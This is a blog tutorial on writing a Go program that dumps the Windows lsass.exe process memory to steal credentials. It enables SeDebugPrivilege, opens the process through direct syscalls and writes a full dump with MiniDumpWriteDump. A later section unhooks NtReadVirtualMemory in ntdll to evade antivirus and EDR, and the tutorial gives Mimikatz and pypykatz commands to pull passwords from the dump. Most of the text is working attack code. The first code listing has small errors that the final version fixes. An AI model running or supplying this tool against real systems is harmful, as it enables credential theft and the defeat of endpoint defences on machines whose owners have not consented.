Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)
Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. During red team...
On This Page
Introduction
Hello dear hackers!
Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. Inspired by Dumpert
Explanation
During red team operations you may need to get credentials to reuse them or/and maintain access but if you try to use Mimikatz to do this, is highly probable to be detected so instead of that we can dump the LSASS.EXE memory process which takes core of the security policies and it means Local Security Authority Subsystem Service. This technique must be done as Administrator because the process runs with high privileges and SeDebugPrivilege is required in order to interact with the LSASS process.
The general workflow of the program will be like this:
Code
The first part of the program will use direct syscalls as evasion technique (Hell’s Gate & Halo’s Gate) but we’ll apply more techniques later.
Let’s import necessary packages, if you haven’t installed my library execute this:
go get github.com/evildevill/Hooka/pkg/hooka
Now we continue:
package main
import (
"os"
"fmt"
"log"
"time"
"errors"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
// Custom malware dev package
"github.com/evildevill/Hooka/pkg/hooka"
)
In this post we also will be using my own malware development library which has tons of useful functions but today we just will use it to implement direct syscall via Hell’s Gate and Halo’s Gate techniques. However the rest of the program like API unhooking will be done by hand.
I won’t dig this to deep but here we define required structures, most of them are used to interact with processes or session tokens later:
// Necessary structures
type ClientID struct {
UniqueProcess uintptr
UniqueThread uintptr
}
type ObjectAttrs struct {
Length uintptr
RootDirectory uintptr
ObjectName uintptr
Attributes uintptr
SecurityDescriptor uintptr
SecurityQualityOfService uintptr
}
type WindowsProcess struct { // Windows process structure
ProcessID int // PID
ParentProcessID int // PPID
Exe string // Cmdline executable (e.g. explorer.exe)
}
// Privileges and attributes
type Luid struct {
lowPart uint32
highPart int32
}
type LuidAndAttributes struct {
luid Luid
attributes uint32
}
type TokenPrivileges struct {
privilegeCount uint32
privileges [1]LuidAndAttributes
}
As I said before we need to have SeDebugPrivilege enabled in order to interact with LSASS.EXE process so let’s code a function which enables it using some Windows calls like LookupPrivilegeValueW
and AdjustTokenPrivileges
:
...
func EnableSeDebugPrivilege() (error) {
var privilege_name = "SeDebugPrivilege"
var tokenAdjustPrivileges = 0x0020 // Windows values
var SePrivilegeEnabled uint32 = 0x00000002
var tokenQuery = 0x0008
// Import DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
advapi32 := windows.NewLazyDLL("advapi32.dll")
// Resolve API calls
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetLastError := kernel32.NewProc("GetLastError")
OpenProcessToken := advapi32.NewProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
// Get current process handle
currentProc, _, _ := GetCurrentProcess.Call()
var hToken uintptr
// Get token from process
result, _, err := OpenProcessToken.Call(
currentProc,
uintptr(tokenAdjustPrivileges) | uintptr(tokenQuery),
uintptr(unsafe.Pointer(&hToken)),
)
if result != 1 { // Handle error
return err
}
var tkp TokenPrivileges
// Get token privileges values
result, _, err = LookupPrivilegeValue.Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(privilege_name))),
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
)
if result != 1 { // Handle error
return err
}
// Modify with custom values
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
// Finally overwrite token privs
result, _, err = AdjustTokenPrivileges.Call(
hToken,
0,
uintptr(unsafe.Pointer(&tkp)),
0,
uintptr(0),
0,
)
if result != 1 { // Handle error
return err
}
// Check if last return code was an error
result, _, _ = GetLastError.Call()
if result != 0 {
return err
}
}
...
There are some comments along the code but in case you don’t wanna read every letter, this function follows this structure:
-
- Get a handle to self process via GetCurrentProcess()
-
- Get handle token via OpenProcessToken
-
- Get privileges values via LookupPrivilegeValue
-
- Modify and overwrite token to enable SeDebugPrivilege
Now we create a function to check administrator rights, for our purpose we’ll check if user is inside admins group. If someone executes the program as non-privileged user it returns an error
...
// I took and moded this function from somewhere but I don't remember
func CheckAdmin() (bool, error) {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid,
)
if err != nil {
return false, err
}
token := windows.Token(0)
// Check if is inside admin group
member, err := token.IsMember(sid)
if err != nil { // Handle error
return false, err
}
return member, nil
}
...
This function uses AllocateAndInitializeSid API call to retrieve SIDs information and then it checks if the user is part of the Administrators group. If the user is an admin, it returns true
, otherwise it returns false
.
Let’s take a look about how to find lsass.exe
PID. First of all we have to use some API calls like CreateToolhelp32Snapshot
and Process32Next
, I think that they are never detected as malicious or something like that because they just enumerate and list processes so we don’t have to do anything special.
However in this case we’ll be using a modified version of a function from https://github.com/mitchellh/go-ps/blob/master/process_windows.go
// Auxiliary function
func newWindowsProcess(e *windows.ProcessEntry32) (WindowsProcess) {
end := 0
for {
if e.ExeFile[end] == 0 {
break
}
end++
}
return WindowsProcess{
ProcessID: int(e.ProcessID),
ParentProcessID: int(e.ParentProcessID),
Exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
}
func FindLsassPid() (int, error) {
const TH32CS_SNAPPROCESS = 0x00000002
handle, err := windows.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
defer windows.CloseHandle(handle)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
err = windows.Process32First(handle, &entry)
if err != nil {
return 0, err
}
results := make([]WindowsProcess, 0, 50)
for {
results = append(results, newWindowsProcess(&entry))
err = windows.Process32Next(handle, &entry)
if err != nil {
// Check if there aren't more processes
if err == syscall.ERROR_NO_MORE_FILES {
break
}
return 0, err
}
}
// Iterate over all processes
for _, proc := range results {
// Check if process name is lsass.exe
if proc.Exe == "lsass.exe" {
return proc.ProcessID, nil // Return PID
}
}
return 0, errors.New("lsass.exe process not found!")
}
Once we also have that, let’s start with the main part… the LSASS.EXE
process dump
This function will receive the process ID (PID) and a string which is the file where the process dump will be written to
// Golang function
func DumpLsass(pid int, output string) (error) {
...
}
We use hooka
to retrieve direct syscalls (see here for references), I only use it with NtOpenProcess however I also wanted to use it with NtCreateFile
but it was really hard so I let you to do that. We will use CreateFileW
instead
func DumpLsass(pid int, output string) (error) {
// Get syscall
NtOpenProcess, err := hooka.GetSysId("NtOpenProcess")
if err != nil {
return err
}
// Variable to store process pointer
var procHandle uintptr
// Open lsass process
_, err = hooka.Syscall(
NtOpenProcess, // syscall
uintptr(unsafe.Pointer(&procHandle)), // process handle
uintptr(0xFFFF),
uintptr(unsafe.Pointer(&ObjectAttrs{0, 0, 0, 0, 0, 0})), // attributes
uintptr(unsafe.Pointer(&ClientID{uintptr(pid), 0})),
0,
)
if err != nil { // Handle error
return err
} else if procHandle == 0 {
return err
}
// Create file on path
os.Create(dump_path)
// Get API call
CreateFile := windows.NewLazyDLL("kernel32").NewProc("CreateFileW")
// Convert string to uintptr
path, _ := syscall.UTF16PtrFromString(output)
// Call CreateFileW to write memory bytes
fHandle, _, _ := CreateFile.Call(
uintptr(unsafe.Pointer(path)), // file path
syscall.GENERIC_WRITE, // access
syscall.FILE_SHARE_READ | syscall.FILE_SHARE_WRITE,
0,
syscall.OPEN_EXISTING,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
MiniDumpWriteDump := windows.NewLazyDLL.NewProc("MiniDumpWriteDump")
// Dump memory
ret, _, err := MiniDumpWriteDump.Call(
uintptr(procHandle), // process handle
uintptr(pid), // process id
uintptr(fHandle), // file handle
0x00061907,
0,
0,
0,
)
if (ret == 0) {
os.Remove(dump_path)
return err
}
return nil
}
As you see, this piece of code firstly opens the given PID to get a handle to the process, then it creates a file in which dump is writen and finally calls MiniDumpWriteDump
which writes process memory to file handle.
At this point we just have to create the main()
function of every Golang script and adding some extra output logging:
func main(){
fmt.Println("Checking permissions...")
check, err := CheckAdmin()
if err != nil {
log.Fatal(err)
}
if check == false {
log.Fatal(errors.New("An error has ocurred, please run as admin!"))
}
fmt.Println("Enabling SeDebugPrivilege...")
err = EnableSeDebugPrivilege()
if err != nil {
log.Fatal(err)
}
fmt.Println("Searching lsass.exe process...")
pid, err := FindLsassPid()
if err != nil {
log.Fatal(err)
}
fmt.Println("PID found:", pid)
fmt.Println("Dumping lsass.exe process...")
err = DumpLsass(pid, "lsass.dmp")
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Process finished!")
}
Let’s add some logging to the code to provide a better output. And finally add some cool banner using manytools.org automatic generator
And here it’s the final code
package main
/*
Author: Waseem Akram
Blog post: https://hackerwasii.com/blogposts/malware-development-4-dump-lsassexe-process-avedr-evasion-golang
*/
...
// Packages and structs omitted for brevety
func EnableSeDebugPrivilege() (error) {
var privilege_name = "SeDebugPrivilege"
var tokenAdjustPrivileges = 0x0020 // Windows values
var tokenQuery = 0x0008
var SePrivilegeEnabled uint32 = 0x00000002
// Import DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
advapi32 := windows.NewLazyDLL("advapi32.dll")
// Get API calls
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetLastError := kernel32.NewProc("GetLastError")
OpenProcessToken := advapi32.NewProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
// Get current process handle
currentProc, _, _ := GetCurrentProcess.Call()
var hToken uintptr
// Get token from process
result, _, err := OpenProcessToken.Call(
currentProc,
uintptr(tokenAdjustPrivileges) | uintptr(tokenQuery),
uintptr(unsafe.Pointer(&hToken)),
)
if result != 1 { // Handle error
return err
}
var tkp TokenPrivileges
// Get token privileges values
result, _, err = LookupPrivilegeValue.Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(privilege_name))),
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
)
if result != 1 { // Handle error
return err
}
// Modify with custom values
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
// Finally overwrite token privs
result, _, err = AdjustTokenPrivileges.Call(
hToken,
0,
uintptr(unsafe.Pointer(&tkp)),
0,
uintptr(0),
0,
)
if result != 1 { // Handle error
return err
}
// Check if last return code was an error
result, _, _ = GetLastError.Call()
if result != 0 {
return err
}
return nil
}
func CheckAdmin() (bool, error) {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid,
)
if err != nil {
return false, err
}
token := windows.Token(0)
// Check if is inside admin group
member, err := token.IsMember(sid)
if err != nil { // Handle error
return false, err
}
return member, nil
}
// Auxiliary function moded from https://github.com/mitchellh/go-ps/blob/master/process_windows.go
func newWindowsProcess(e *windows.ProcessEntry32) (WindowsProcess) {
end := 0
for {
if e.ExeFile[end] == 0 {
break
}
end++
}
return WindowsProcess{
ProcessID: int(e.ProcessID),
ParentProcessID: int(e.ParentProcessID),
Exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
}
func FindLsassPid() (int, error) {
const TH32CS_SNAPPROCESS = 0x00000002
handle, err := windows.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
defer windows.CloseHandle(handle)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
err = windows.Process32First(handle, &entry)
if err != nil {
return 0, err
}
results := make([]WindowsProcess, 0, 50)
for {
results = append(results, newWindowsProcess(&entry))
err = windows.Process32Next(handle, &entry)
if err != nil {
// Check if there aren't more processes
if err == syscall.ERROR_NO_MORE_FILES {
break
}
return 0, err
}
}
// Iterate over all processes
for _, proc := range results {
// Check if process name is lsass.exe
if proc.Exe == "lsass.exe" {
return proc.ProcessID, nil // Return PID
}
}
return 0, errors.New("lsass.exe process not found!")
}
func DumpLsass(pid int, output string) (error) {
// Get syscall ID
NtOpenProcess, err := hooka.GetSysId("NtOpenProcess")
if err != nil { // Handle error
return err
}
// Variable to store process pointer
var procHandle uintptr
// Open lsass process
_, err = hooka.Syscall(
NtOpenProcess, // syscall
uintptr(unsafe.Pointer(&procHandle)), // process handle
uintptr(0xFFFF),
uintptr(unsafe.Pointer(&ObjectAttrs{0, 0, 0, 0, 0, 0})), // attributes
uintptr(unsafe.Pointer(&ClientID{uintptr(pid), 0})),
0,
)
if err != nil { // Handle error
return err
} else if procHandle == 0 {
return err
}
// Create file on path
os.Create(output)
// Get API call
CreateFile := windows.NewLazyDLL("kernel32").NewProc("CreateFileW")
// Convert string to uintptr
path, _ := syscall.UTF16PtrFromString(output)
// Call CreateFileW to write memory bytes
fHandle, _, _ := CreateFile.Call(
uintptr(unsafe.Pointer(path)), // file path
syscall.GENERIC_WRITE, // access
syscall.FILE_SHARE_READ | syscall.FILE_SHARE_WRITE,
0,
syscall.OPEN_EXISTING,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
MiniDumpWriteDump := windows.NewLazyDLL("Dbghelp.dll").NewProc("MiniDumpWriteDump")
// Dump memory
ret, _, err := MiniDumpWriteDump.Call(
uintptr(procHandle), // process handle
uintptr(pid), // process id
uintptr(fHandle), // file handle
0x00061907, // MiniDumpWithFullMemory
0,
0,
0,
)
if (ret == 0) { // Handle error
os.Remove(output)
return err
}
return nil
}
func Banner(){
fmt.Println(` ___ ___
/ __|___ ___| \ _ _ _ __ _ __
| (_ / _ \___| |) | || | ' \| '_ \
\___\___/ |___/ \_,_|_|_|_| .__/
|_|
`)
}
func main(){
Banner()
fmt.Println("[*] Checking permissions...")
check, err := CheckAdmin()
if err != nil {
log.Fatal(err)
}
if check == false {
log.Fatal(errors.New("An error has ocurred, please run as admin!"))
}
fmt.Println("[+] Administrator privileges found!")
fmt.Println("Enabling SeDebugPrivilege...")
err = EnableSeDebugPrivilege()
if err != nil {
log.Fatal(err)
}
fmt.Println("[*] Searching lsass.exe process...")
pid, err := FindLsassPid()
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] PID found:", pid)
fmt.Println("[*] Dumping lsass.exe process...")
err = DumpLsass(pid, "lsass.dmp")
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Process finished!")
}
If you have any doubt or you wanna ask me anything, contact me via Instagram or Twitter
Let’s go testing it!
Demo
First of all we compile our code:
GOARCH=amd64 GOOS=windows go build main.go
Now we transfer it to our testing Windows machine and let’s execute it
As you can see it seems to have worked. If I list the files we notice that the dump file was created as expected!
Now you can use Mimikatz (or pypykatz if using linux) to extract credentials from memory dump
# Mimikatz internal commands
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
# Pypykatz from CLI
pypykatz lsa minidump lsass.dmp
if all has gone right you should be able to see the info and some credentials
Evasion via API unhooking
Now let's hard the technique to evade possible security measures. In this ocassion we'll be unhooking native API functions before doing anything so the rest of syscalls will be done without being detected
If you don’t know how API unhooking works you have some excellent posts from ired.team, @MDSec and @SpecialHoang in which they explain it really great.
How will this affect to MiniDumpWriteDump
? Well, you probably would have noticed that this function isn’t part of the native API (ntdll.dll
), and you’re right but this function uses NtReadVirtualMemory
under the hood so if that function isn’t being hooked by any AV/EDR it won’t probably be flagged. You may also think that the same syscalls which are used to unhook native API (i.e. NtWriteVirtualMemory
) will even be detected as they’re being called, but that’s why we use direct syscalls via Hell’s Gate and Halo’s Gate techniques.
So the evasion workflow will be something like this:
Before coding this technique, let’s check if the MiniDumpWriteDump calls NtReadVirtualMemory under the hood with WinDbg
First of all we open WinDbg with administrator privs as program needs to be executed with high privs.
Then we click on Open Executable and select the generated.exe
We add a breakpoint on the NtReadVirtualMemory
function and continue the program execution. As you can see we hitted the breakpoint so we were right. In this case the syscall starting bytes are 4c 8b d1 b8
which means that the function isn’t hooked but in a monitorized environment it would probably be
Let’s move the explanation into Golang code
func UnhookApi() (error) {
// Get calls from dll
kernel32 := windows.NewLazyDLL("kernel32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
GetProcAddress := kernel32.NewProc("GetProcAddress")
// Define bytes array for original syscall bytes
var assembly_bytes []byte
ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
defer syscall.FreeLibrary(ntdll_lib)
procAddr, _ := syscall.GetProcAddress(ntdll_lib, "NtReadVirtualMemory")
ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
funcBytes := ptr_bytes[:5:5]
for i := 0; i < 5; i++ {
assembly_bytes = append(assembly_bytes, funcBytes[i])
}
pHandle, _, _ := GetCurrentProcess.Call()
ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
moduleHandle, _, _ := GetModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
funcname, _ := windows.UTF16PtrFromString("NtReadVirtualMemory")
baseAddr, _, _ := GetProcAddress.Call(moduleHandle, uintptr(unsafe.Pointer(funcname)))
// Get syscall
NtWriteVirtualMemory, err := hooka.GetSysId("NtWriteVirtualMemory")
if err != nil {
return err
}
hooka.Syscall(
NtWriteVirtualMemory,
uintptr(pHandle),
uintptr(baseAddr),
uintptr(unsafe.Pointer(&assembly_bytes[0])),
uintptr(len(assembly_bytes)),
0,
)
return nil
}
Demo 2
Repeat the same process compiling the code and executing it.
GOARCH=amd64 GOOS=windows go build evasion.go
Now we execute the new binary
And the dump file is created too!
References
https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess
https://github.com/outflanknl/Dumpert
https://j00ru.vexillium.org/syscalls/nt/64/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
Conclusion
As you see this technique is useful because it doesn’t use Mimikatz but instead use MiniDumpWriteDump API call which is sometimes easy to detect by EDRs. That’s why we use some evasion tricks. I hope you’ve learned a lot:)
Source code here
See you in the next post!